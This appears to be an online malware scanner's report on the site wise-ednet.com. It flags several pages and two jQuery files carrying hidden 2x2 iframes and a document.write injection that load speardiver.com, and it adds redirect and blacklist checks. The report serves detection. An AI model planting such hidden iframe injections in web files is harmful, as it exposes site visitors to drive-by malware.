Scanned pages/files
Request | Server response | Status |
http://wise-ednet.com/ | 200 OK Content-Length: 13211 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/fullsize/jquery.js | 200 OK Content-Length: 57413 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?j=1406188></iframe>');
(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exe Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?j=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?j=1406188> | ||
http://wise-ednet.com/fullsize/jquery.fullsize.minified.js | 200 OK Content-Length: 9107 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?j=1406188></iframe>');
(function($){$.fn.fullsize=function(options){var defaults={shadow:true,zoomInSpeed:200,zoomOutSpeed:200,fadeInSpeed:250,fadeOutSpeed:250,leftOffset:0,topOffset:0,iconOffset:8,forceTitleBar:false,extraTrigger:false,parentSteps:0,destroy:false,start:function(){},end:function(){}};var opts=$.extend(defaults,options);if(opt Antivirus reports:
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?j=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?j=1406188> | ||
http://connect.facebook.net/en_US/all.js | 200 OK Content-Length: 163644 Content-Type: application/x-javascript | clean |
http://wise-ednet.com/index.html | 200 OK Content-Length: 13211 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/program.html | 200 OK Content-Length: 9811 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/khowledge.html | 200 OK Content-Length: 8002 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/sitemap.html | 200 OK Content-Length: 13167 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/contact.html | 200 OK Content-Length: 7935 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/apply_now.html | 200 OK Content-Length: 11439 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/test_eng.html | 200 OK Content-Length: 12374 Content-Type: text/html | suspicious |
Hidden iFrame found. size: 2x2 src: http://speardiver.com/ocef.html?i=1406188 <iframe name=twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://speardiver.com/ocef.html?i=1406188> | ||
http://wise-ednet.com/ http://s2.shinystat.com/cgi-bin/shinystatv.cgi?L=1&NH=1&USER=wiseednet | 404 Not Found Content-Length: 12839 Content-Type: text/html | clean |
http://code.jquery.com/jquery-1.9.1.js | 200 OK Content-Length: 268381 Content-Type: application/x-javascript | clean |
http://suspended.hostgator.com/js/simple-expand.min.js | 200 OK Content-Length: 2782 Content-Type: application/javascript | clean |
http://wise-ednet.com/ http://s2.shinystat.com/cgi-bin/ | 404 Not Found Content-Length: 12839 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: wise-ednet.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 02:12:44 GMT
Accept-Ranges: bytes
Server: nginx/1.6.2
Content-Length: 13211
Content-Type: text/html
Last-Modified: Fri, 07 Jun 2013 00:39:25 GMT
...13211 bytes of data.
GET / HTTP/1.1
Host: wise-ednet.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 02:12:44 GMT
Accept-Ranges: bytes
Server: nginx/1.6.2
Content-Length: 13211
Content-Type: text/html
Last-Modified: Fri, 07 Jun 2013 00:39:25 GMT
...13211 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: wise-ednet.com
Referer: http://www.google.com/search?q=wise-ednet.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: wise-ednet.com
Referer: http://www.google.com/search?q=wise-ednet.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=wise-ednet.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://wise-ednet.com/
Result: wise-ednet.com is not infected or malware details are not published yet.
Result: wise-ednet.com is not infected or malware details are not published yet.